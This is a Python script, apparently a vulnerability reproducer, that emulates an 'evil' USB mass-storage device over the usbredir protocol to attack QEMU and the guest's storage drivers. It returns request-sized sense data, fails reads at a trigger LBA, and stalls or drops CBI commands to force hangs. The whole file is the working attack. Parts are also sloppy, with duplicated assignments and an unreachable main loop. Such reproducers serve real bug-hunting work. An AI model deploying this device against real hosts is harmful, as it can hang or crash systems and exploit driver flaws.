#!/usr/bin/env python3
# pyevilmsc.py - evil USB mass-storage device over the usbredir protocol
# (peer of QEMU usb-redir).  Modes: bbb (DF-5297) / cbi (DF-5298).
#
#   ./pyevilmsc.py <port> <bbb|cbi> [hang_after] [hang_ms]
import socket, struct, sys, threading, time

SUCCESS, CANCELLED, STALL = 0, 1, 5
P_HELLO, P_DEVCONN, P_DISCONN = 0, 1, 2
P_RESET, P_IFINFO, P_EPINFO = 3, 4, 5
P_SETCFG, P_GETCFG, P_CFGSTAT = 6, 7, 8
P_SETALT, P_GETALT, P_ALTSTAT = 9, 10, 11
P_CANCEL = 21
P_CTRL, P_BULK = 100, 101
MYCAPS = 0x40 | 0x20 | 0x10 | 0x02     # 64-bit ids | epinfo mps | 32-bit bulk len

def log(*a):
    print(*a, file=sys.stderr, flush=True)

DEV_DESC = bytes([0x12,0x01,0x00,0x02,0x00,0x00,0x00,0x40,
                  0x34,0x12,0x78,0x56,0x00,0x02,0x01,0x02,0x03,0x01])
def cfg_desc(cbi):
    # 9 (config) + 9 (iface) + 7 (ep in) + 7 (ep out) = 32 bytes total
    b = bytearray(bytes([0x09,0x02,0x20,0x00,0x01,0x01,0x00,0x80,0xFA,
        0x09,0x04,0x00,0x00,0x02,0x08,0x06, 0x00 if cbi else 0x50, 0x00,
        0x07,0x05,0x81,0x02,0x40,0x00,0x00,
        0x07,0x05,0x01,0x02,0x40,0x00,0x00]))
    assert len(b) == 32
    return bytes(b)
STR0 = bytes([4,3,0x09,0x04])
STR1 = bytes([16,3]) + b'df-evil'.decode().encode('utf-16-le')
def u16le(s):
    return s.encode('utf-16-le')
STR1 = bytes([len(u16le('df-evil'))+2,3]) + u16le('df-evil')
STR2 = bytes([len(u16le('evilmsc01'))+2,3]) + u16le('evilmsc01')
STR3 = bytes([len(u16le('5297898'))+2,3]) + u16le('5297898')
INQ = bytes([0x00,0x80,0x04,0x02,0x1f,0,0,0]) + b'DFEVIL  ' + \
      b'evilmsc01       ' + bytes([0,0,0,0])
RCBD = bytes([0xff,0xff,0,0,0,0,0x02,0])

PH_IDLE, PH_DATA, PH_CSW = 0, 1, 2

class Dev:
    def __init__(s, mode, hang_after, hang_ms):
        s.cbi = mode == 'cbi'
        s.hang_after, s.hang_ms = hang_after, hang_ms
        s.ncmd = 0
        s.last_failed = 0
        s.phase = PH_IDLE
        s.stage = b''
        s.status = 0
        s.tag = 0

    def sense(s, n, key=2):
        b = bytearray(n)
        b[0] = 0x70; b[2] = key; b[7] = 0x0a
        if key:
            b[12] = 0x04; b[13] = 0x03
        for i in range(18, n):
            b[i] = 0x40 + (i & 0x3f)
        return bytes(b)

    def run(s, cdb):
        op = cdb[0]; s.status = 0; s.last_failed = 0
        if op == 0x00:                      # TUR: good (probe must finish)
            s.stage = b''; s.status = 0
        elif op == 0x03:                    # REQUEST SENSE: alloc bytes
            alloc = cdb[4] if len(cdb) > 4 else 18
            s.stage = s.sense(alloc, 2 if s.last_failed else 0)
            log('[dev] REQ SENSE alloc=%d -> %d bytes' % (alloc, alloc))
        elif op == 0x12:                    # INQUIRY
            alloc = cdb[4] if len(cdb) > 4 else 36
            if cdb[1] & 1:                  # EVPD serial
                d = bytearray(32); d[1] = 0x80; d[3] = 8
                d[4:12] = b'52970001'
                s.stage = bytes(d[:max(12, min(alloc, 12))])[:max(alloc,0)]
                s.stage = bytes(d[:12][:alloc if alloc < 12 else 12])
            else:
                s.stage = INQ[:alloc if alloc < 36 else 36]
        elif op == 0x25:
            s.stage = RCBD
        elif op in (0x28, 0xa8):            # READ
            lba = (cdb[2] << 24) | (cdb[3] << 16) | (cdb[4] << 8) | cdb[5]
            cnt = ((cdb[7] << 8) | cdb[8]) if op == 0x28 else \
                  ((cdb[6] << 24)|(cdb[7] << 16)|(cdb[8] << 8)|cdb[9])
            if lba == 0x5297:               # EVIL TRIGGER LBA
                s.stage = b''; s.status = 1; s.last_failed = 1
                log('[dev] READ(lba 0x5297) -> CHECK COND (evil)')
                return
            s.stage = bytes(512 * cnt)
        else:
            s.stage = b''; s.status = 1; s.last_failed = 1
            log('[dev] op %02x -> illegal' % op)
        s.phase = PH_DATA if s.stage else PH_CSW

    def csw(s):
        return b'USBS' + struct.pack('<II B', s.tag, 0, s.status)

class Server:
    def __init__(s, port, dev):
        s.dev = dev
        ls = socket.socket()
        ls.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        ls.bind(('127.0.0.1', port)); ls.listen(4)
        while True:
            log('pyevilmsc: waiting on 127.0.0.1:%d (%s)' %
                (port, 'cbi' if dev.cbi else 'bbb'))
            s.sock, addr = ls.accept()
            s.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
            log('connection from %s' % (addr,))
            try:
                s.loop()
            except EOFError:
                log('connection closed')
            except Exception as e:
                log('error: %r' % (e,))

    def send(s, t, i, hdr=b'', data=b''):
        p = (hdr + data)
        if getattr(s, 'hdrsz', 12) == 16:
            w = struct.pack('<IIQ', t, len(p), i) + p
        else:
            w = struct.pack('<III', t, len(p), i & 0xffffffff) + p
        with open('/tmp/opencode/sent.bin', 'ab') as f:
            f.write(w)
        s.sock.sendall(w)

    def rd(s, n):
        b = b''
        while len(b) < n:
            s.sock.settimeout(300)
            try:
                c = s.sock.recv(n - len(b))
            except socket.timeout:
                log('recv timeout after %d/%d bytes (still waiting)' %
                    (len(b), n))
                continue
            if not c: raise EOFError
            b += c
            if len(b) <= 80:
                log('chunk %d bytes: %s' % (len(c), c[:80].hex()))
        return b

    def loop(s):
        s.hdrsz = 12            # hello is always sent with a 32-bit id
        while True:
            base = s.rd(s.hdrsz)
            t, l = struct.unpack('<II', base[:8])
            if s.hdrsz == 16:
                i = struct.unpack('<Q', base[8:16])[0]
            else:
                i = struct.unpack('<I', base[8:12])[0]
            pl = s.rd(l) if l else b''
            log('<< t=%d l=%d id=%d' % (t, l, i))
            d = s.dev
            if t == P_HELLO:
                ver = b'usbredir 0.7-pyevil'.ljust(64, b'\0')
                s.send(P_HELLO, i, ver + struct.pack('<I', MYCAPS))
                # both sides have cap 0x20 -> all later frames carry 64-bit ids
                s.hdrsz = 16
                ii = bytearray(4 + 128)
                struct.pack_into('<I', ii, 0, 1)      # interface_count
                ii[4] = 0                             # interface[0] = 0
                ii[4 + 32] = 8                        # class[0] = MASS
                ii[4 + 64] = 6                        # subclass[0] = SCSI
                ii[4 + 96] = 0 if d.cbi else 0x50     # protocol[0]
                s.send(P_IFINFO, 0, bytes(ii))
                eps = bytearray(96 + 64)
                eps[1] = 2; eps[16+1] = 2            # bulk
                eps[96+2*1:96+2*2] = struct.pack('<H', 64)
                eps[96+2*17:96+2*18] = struct.pack('<H', 64)
                s.send(P_EPINFO, 0, bytes(eps))
                s.send(P_DEVCONN, 0, struct.pack('<BBBBHHH', 1,0,0,0,
                                                 0x1234,0x5678,0x0200))
                log('[dev] connected (mode %s)' % ('cbi' if d.cbi else 'bbb'))
            elif t in (P_SETCFG, P_GETCFG):
                s.send(P_CFGSTAT, i, bytes([0, 1]))
            elif t in (P_SETALT, P_GETALT):
                s.send(P_ALTSTAT, i, bytes([0, 0, 0]))
            elif t == P_CTRL:
                ep, req, rt, st, val, idx, ln = struct.unpack('<BBBBHHH',
                                                              pl[:10])
                data = pl[10:]
                log('[ctl] rt=%02x r=%02x v=%04x i=%04x l=%d (d%d)' %
                    (rt, req, val, idx, ln, len(data)))
                hdr = struct.pack('<BBBBHHH', ep, req, rt, SUCCESS,
                                  val, idx, 0)
                if d.cbi and rt == 0x21 and req == 0:
                    if 0 < len(data) <= 16:
                        k = d.ncmd; d.ncmd += 1
                        if data[0] == 0x28:
                            d.read_idx = getattr(d, 'read_idx', 0)
                            k2 = d.read_idx
                            d.read_idx += 1
                            log('[cbi] READ10#%d (cmd#%d)' % (k2, k))
                            k = ('R%d' % k2)
                        log('[cbi] cmd#%s ADSC op=%02x len=%d' %
                            (k, data[0], len(data)))
                        if k == d.hang_after:
                            log('[cbi] EVIL: hang ADSC #%s forever '
                                '(hang_ms=%s)' % (k, d.hang_ms))
                            if d.hang_ms:
                                time.sleep(d.hang_ms / 1000.0)
                                s.send(P_DISCONN, 0)
                                log('[cbi] disconnected')
                                time.sleep(0.8)
                                sys.exit(0)
                            time.sleep(3600)   # never answer this ADSC
                        s.send(P_CTRL, i, hdr)
                        d.run(data)
                        continue
                    s.send(P_CTRL, i, struct.pack('<BBBBHHH', ep, req, rt,
                                                  STALL, val, idx, 0))
                    continue
                if (not d.cbi) and rt == 0xa1 and req == 0xfe:
                    s.send(P_CTRL, i, struct.pack('<BBBBHHH', ep, req, rt,
                        SUCCESS, val, idx, 1), bytes([0]))
                    continue
                if rt & 0x80:
                    out = b''
                    if req == 0x06:
                        dt, di = val >> 8, val & 0xff
                        src = {1: DEV_DESC, 2: cfg_desc(d.cbi),
                               3: [STR0, STR1, STR2, STR3][di
                                   if di < 4 else 3]}.get(dt, b'')
                        out = src[:ln]
                        log('[ctl] GET_DESC t=%02x -> %d' % (dt, len(out)))
                    elif req == 0x08: out = bytes([1])
                    elif req == 0x0a: out = bytes([0])
                    elif req == 0x00: out = bytes([0, 0])
                    s.send(P_CTRL, i, struct.pack('<BBBBHHH', ep, req, rt,
                        SUCCESS, val, idx, len(out)), out)
                    continue
                if rt == 0x00 and req == 0x09:
                    s.send(P_CTRL, i, b'')
                    continue
                s.send(P_CTRL, i, struct.pack('<BBBBHHH', ep, req, rt,
                                              STALL, val, idx, 0))
            elif t == P_BULK:
                ep, st, ln, stream, lnh = struct.unpack('<BBHIH', pl[:10])
                data = pl[10:]
                if ep == 0x01:                       # bulk OUT from host
                    if (not d.cbi) and len(data) == 31 and \
                       data[:4] == b'USBC':
                        d.tag = struct.unpack('<I', data[4:8])[0]
                        clen = min(data[14], 16)
                        log('[bbb] CBW tag=%08x op=%02x (#%d)' %
                            (d.tag, data[15], d.ncmd))
                        d.ncmd += 1
                        d.run(data[15:15+clen])
                    hdr = struct.pack('<BBHIH', ep, SUCCESS,
                                      len(data) & 0xffff, 0,
                                      len(data) >> 16)
                    s.send(P_BULK, i, hdr)
                elif ep == 0x81:                     # bulk IN request
                    req = (ln | (lnh << 16)) or len(data)
                    if d.phase == PH_DATA:
                        out = d.stage[:req]
                        log('[dev] data-in %d bytes' % len(out))
                        s.send(P_BULK, i, struct.pack('<BBHIH', ep,
                            SUCCESS, len(out) & 0xffff, 0, len(out) >> 16),
                            out)
                        d.phase = PH_CSW
                    else:
                        c = d.csw()
                        log('[dev] CSW st=%d' % d.status)
                        s.send(P_BULK, i, struct.pack('<BBHIH', ep,
                            SUCCESS, 13, 0, 0), c)
                        d.phase = PH_IDLE
            elif t == P_CANCEL:
                pass

def main():
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 7788
    mode = sys.argv[2] if len(sys.argv) > 2 else 'bbb'
    ha = sys.argv[3] if len(sys.argv) > 3 else 999999
    if not (isinstance(ha, str) and ha.startswith('R')):
        try:
            ha = int(ha)
        except ValueError:
            ha = 999999
    hm = int(sys.argv[4]) if len(sys.argv) > 4 else 1200
    Server(port, Dev(mode, ha, hm)).loop()

if __name__ == '__main__':
    main()